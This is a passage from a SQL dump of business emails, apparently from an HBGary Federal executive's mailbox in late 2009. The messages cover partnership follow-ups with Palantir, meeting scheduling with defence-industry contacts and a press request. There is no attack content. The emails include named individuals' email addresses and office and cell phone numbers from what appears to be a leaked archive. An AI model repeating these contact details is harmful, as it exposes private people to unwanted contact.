--------------------------\r\n> Thanks,\r\n> Ryan\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Bagby, Ryan\r\n> Sent: Tue Nov 24 21:04:23 2009\r\n> Subject: Right address\r\n>\r\n> Hey Ryan,\r\n>\r\n> Not sure if this is the right address for you.  If it is shoot me a \r\n> note.  I am no longer with Northrop.  Recently took the position as \r\n> CEO of HBGary Federal.  I wanted to talk to you about the Customer \r\n> contract recompete.\r\n>\r\n> Thanks,\r\n> Aaron\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n\r\n',10703,'aaron_hbgary_com/10703.html'),(503,'2009-12-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999880.M432666P3547Q503.eml','ted@hbgary.com','Re: Greg\'s Back-of-the-napkin Architectur...','Greg gend that up discussing a gateway solution.\r\n\r\nTalk to u in a few.\r\n\r\n From my iPhone\r\n\r\nOn Dec 8, 2009, at 2:21 PM, ted@hbgary.com wrote:\r\n\r\n> I\'ve shared a document with you:\r\n>\r\n> Greg\'s Back-of-the-napkin Architectur...\r\n> https://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8yMWZrOXJ0OWQ1&hl=en&invite=CKy8pf0E\r\n>\r\n> It\'s not an attachment -- it\'s stored online at Google Docs. To open\r\n> this document, just click the link above.\r\n>\r\n',3168,'aaron_hbgary_com/3168.html');
INSERT INTO `emails` VALUES (504,'2009-12-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999880.M616043P3547Q504.eml','penny@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,penny@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Palantir follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, Aaron,\r\n\r\n&nbsp;\r\n\r\nGreat meeting with you yesterday.&nbsp; As discussed, if you\r\nsend me the names and email addresses of the people you want to give access to\r\nour DevZone to, we can get them accounts.&nbsp; Once they get access they can\r\ndownload a locally loaded version of Palantir called a QuickStart.&nbsp; They\r\nwill be able to import their data through a few simple steps outlined on the\r\nDevZone website. &nbsp;Hopefully they can put together a compelling demo path,\r\nif needed, I can be available for suggestions on the workflow.\r\n\r\n&nbsp;\r\n\r\nPenny &#8211; do you think you could get Geoff access to a\r\ntrail version of your Digital DNA product (and anything else he might need)? &nbsp;He\r\ncan evaluate it in the context of a potential partnership.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron &#8211; whenever you want to discuss federal business\r\nopportunities Im game.&nbsp; I think that teaming on proposals is a no brainer\r\nfor work in the cyber domain as our two product lines are incredibly\r\ncomplementary.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6219,'aaron_hbgary_com/6219.html'),(505,'2009-12-08','\"Robert Higgins\" <Higgins.Robert@orbital.com>','/aaron@hbgary.com/new/1296999880.M810199P3547Q505.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Voice from the past','Hello Aaron,\r\n   I can meet this Friday, 11Dec, in the afternoon.  Where would you like\r\nto meet?\r\n\r\nRobert\r\n\r\n\r\n|------------>\r\n| From:      |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Aaron Barr                                                                                                                      |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------>\r\n| To:        |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Robert Higgins                                                                                                        |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------>\r\n| Date:      |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |12/03/2009 07:43 PM                                                                                                                               |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------>\r\n| Subject:   |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Re: Voice from the past                                                                                                                           |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n\r\n\r\n\r\n\r\n\r\nGreat.  How\'s is your tomorrow afternoon or next Friday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 3, 2009, at 6:53 PM, Robert Higgins\r\n wrote:\r\n\r\n> I would be great to discuss some future business together.  We have\r\n> expanded our HW and SW capabilities and I definitely would like to\r\n> see how\r\n> we can collectively expand our businesses.\r\n>\r\n> Robert Higgins\r\n> 571 338-9366\r\n>\r\n>\r\n> |------------>\r\n> | From:      |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |Aaron Barr\r\n>  hbgary.com>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                      |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n> |------------>\r\n> | To:        |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |Robert Higgins\r\n>  orbital.com>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                    |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n> |------------>\r\n> | Date:      |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |12/03/2009 06:35\r\n> PM\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                      |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n> |------------>\r\n> | Subject:   |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |Voice from the\r\n> past\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                      |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Hi Robert,\r\n>\r\n> It\'s been a long time.  I am no longer with Northrop, now the CEO for\r\n> HBGary Federal.  Short of it is, we were talking to ARSTRAT about our\r\n> capabilities and they are very interested to do something but kind of\r\n> in passing said if we had a satellite/strategic comma component to our\r\n> offering we would have it all.  Naturally I thought of you.  Do you\r\n> have some time for coffee or something to catch up?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n>\r\n>\r\n> -----------------------------------------\r\n> Notice:  This e-mail is intended solely for use of the individual\r\n> or entity to which it is addressed and may contain information that\r\n> is proprietary, privileged and exempt from disclosure under\r\n> applicable law.  If the reader is not the intended recipient or\r\n> agent responsible for delivering the message to the intended\r\n> recipient, you are hereby notified that any dissemination,\r\n> distribution or copying of this communication is strictly\r\n> prohibited.  This communication may also contain data subject to\r\n> U.S. export laws.  If so, that data subject to the International\r\n> Traffic in Arms Regulation cannot be disseminated, distributed or\r\n> copied to foreign nationals, residing in the U.S. or abroad, absent\r\n> the express prior approval of the U.S. Department of State.   If\r\n> you have received this communication in error, please notify the\r\n> sender by reply e-mail and destroy the e-mail message and any\r\n> physical copies made of the communication.  Thank you.\r\n\r\n\r\n\r\n',10093,'aaron_hbgary_com/10093.html'),(506,'2009-12-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999881.M16906P3547Q506.eml','ted@hbgary.com,aaron@hbgary.com,ted@hbgary.com,aaron@hbgary.com','HBGary Federal Customer Interview for GCN','Hi Ted and Aaron, Government Computer News Bill Jackson would possibly be interested in talking to a HBGary Federal government customer about working with the new company, their security challenges, etc. Bill and I both know it is very difficult to get government&nbsp;security customers to go on record, but I wanted to pass along this request.\r\n&nbsp;\r\nHe would also be interested to learn about the specific security challenges facing US government agencies as we head into the new year. If you have anything to add, please send me a note and I\'ll put together a mail to send on to Bill. He is not interested in an interview right now.\r\n&nbsp;\r\nThanks very much.\r\nBest, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764&nbsp;&nbsp;\r\n\r\n\r\n\r\n',1123,'aaron_hbgary_com/1123.html'),(507,'2009-12-08','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1296999881.M359533P3547Q507.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFriday works for me.&nbsp; Sorry for the late reply &#8211; been\r\nin customer site all day.&nbsp; I&#8217;m good between 1200 and 1600.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 08, 2009 9:01 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi John,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay, I started last week in a full sprint.\r\n&nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and\r\nPenny at 930, I think thats it for me for the day but have to double check with\r\nPenny. &nbsp;I would definitely still like to get together this week if you\r\navailable.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 8:48 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m good Tuesday until 1630 and anytime on Friday.&nbsp;\r\nLet me know what works for you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n03, 2009 7:29 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGregs in town next week. &nbsp;Do you have something set up\r\nwith him already or should I set something, or does Greg need to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEither way, Tuesday afternoon works, also Friday works.\r\n&nbsp;Either of those days good for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 11:45 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week is crazy &#8211; some large proposals.&nbsp; How about\r\nnext week.&nbsp; What is your schedule for next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n01, 2009 8:36 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up\r\nthis week or wait until next week when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny\r\nHoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.&nbsp; He has his clearance as does\r\nhis President Ted Vera.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet\r\nthen.&nbsp; Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4549,'aaron_hbgary_com/4549.html'),(508,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999881.M542460P3547Q508.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Rest of week','Hey Brian,\r\n\r\nWe didn\'t get much time to talk.  Are u going to be back down here at\r\nall and have some time?  If not maybe we can just catch up on the phone.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5385,'aaron_hbgary_com/5385.html'),(509,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999881.M835995P3547Q509.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: HBGary Federal Customer Interview for GCN','Thanks Karen.  I think as you mentioned, the customer piece will be tough, but I will send you some information today on the security challenges.AaronFrom my iPhone\r\nOn Dec 8, 2009, at 5:04 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Ted and Aaron, Government Computer News Bill Jackson would possibly be interested in talking to a HBGary Federal government customer about working with the new company, their security challenges, etc. Bill and I both know it is very difficult to get government security customers to go on record, but I wanted to pass along this request.\r\n\r\n \r\nHe would also be interested to learn about the specific security challenges facing US government agencies as we head into the new year. If you have anything to add, please send me a note and I&#39;ll put together a mail to send on to Bill. He is not interested in an interview right now.\r\n\r\n \r\nThanks very much.\r\nBest, Karen\r\n \r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764  \r\n\r\n\r\n\r\n      \r\n',13608,'aaron_hbgary_com/13608.html'),(510,'2009-12-09','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999882.M56653P3547Q510.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Rest of week','Aaron,\r\nI have a meeting this morning then I have to head back to Cinci.  Will\r\nbe back next week for a conference next Tues-Thurs in Chantilly.  I\r\nguess we\'ll have to go with phone.\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 6:15 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Rest of week\r\n\r\nHey Brian,\r\n\r\nWe didn\'t get much time to talk.  Are u going to be back down here at\r\nall and have some time?  If not maybe we can just catch up on the phone.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8000,'aaron_hbgary_com/8000.html'),(511,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999883.M820544P3547Q511.eml','\"Aaron Barr\" <adbarr@mac.com>','','\r\n',13752,'aaron_hbgary_com/13752.html'),(512,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999884.M273905P3547Q513.eml','\"Robert Higgins\" <Higgins.Robert@orbital.com>','Re: Voice from the past','I will be out at Blackbird just down 28 in the late morning and early afternoon, so I can come to your place if that would be convenient.  Say around 230 or 3pm?\r\n \r\nAaron\r\nOn Tue, Dec 8, 2009 at 4:45 PM, Robert Higgins &lt;Higgins.Robert@orbital.com&gt; wrote:\r\nHello Aaron,  I can meet this Friday, 11Dec, in the afternoon.  Where would you liketo meet?\r\nRobert\r\n|------------&gt;| From:      ||------------&gt; &gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n |Aaron Barr &lt;aaron@hbgary.com&gt;                                                                                                                     | &gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------&gt;| To:        ||------------&gt; &gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n |Robert Higgins &lt;Higgins.Robert@orbital.com&gt;                                                                                                       | &gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------&gt;| Date:      ||------------&gt; &gt;--------------------------------------------------------------------------------------------------------------------------------------------------| |12/03/2009 07:43 PM                                                                                                                               |\r\n &gt;--------------------------------------------------------------------------------------------------------------------------------------------------||------------&gt;\r\n| Subject:   ||------------&gt; &gt;--------------------------------------------------------------------------------------------------------------------------------------------------| |Re: Voice from the past                                                                                                                           |\r\n &gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n\r\n\r\nGreat.  How&#39;s is your tomorrow afternoon or next Friday?Aaron From my iPhoneOn Dec 3, 2009, at 6:53 PM, Robert Higgins&lt;Higgins.Robert@orbital.com&gt; wrote:\r\n&gt; I would be great to discuss some future business together.  We have&gt; expanded our HW and SW capabilities and I definitely would like to&gt; see how&gt; we can collectively expand our businesses.\r\n&gt;&gt; Robert Higgins&gt; 571 338-9366&gt;&gt;&gt; |------------&gt;&gt; | From:      |&gt; |------------&gt;&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|&gt;  |Aaron Barr&gt; &lt;aaron@\r\n&gt; hbgary.com&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;                                                                      |\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|\r\n&gt; |------------&gt;&gt; | To:        |&gt; |------------&gt;&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|&gt;  |Robert Higgins&gt; &lt;higgins.robert@&gt; orbital.com&gt;\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;                                                                    |&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|\r\n&gt; |------------&gt;&gt; | Date:      |&gt; |------------&gt;&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|&gt;  |12/03/2009 06:35&gt; PM&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;                                                                      |&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|&gt; |------------&gt;\r\n&gt; | Subject:   |&gt; |------------&gt;&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|&gt;  |Voice from the&gt; past&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;                                                                      |&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---\r\n&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; ---&gt;&gt; --------------------------------------------------------------------|&gt;&gt;&gt;&gt;\r\n&gt;&gt; Hi Robert,&gt;&gt; It&#39;s been a long time.  I am no 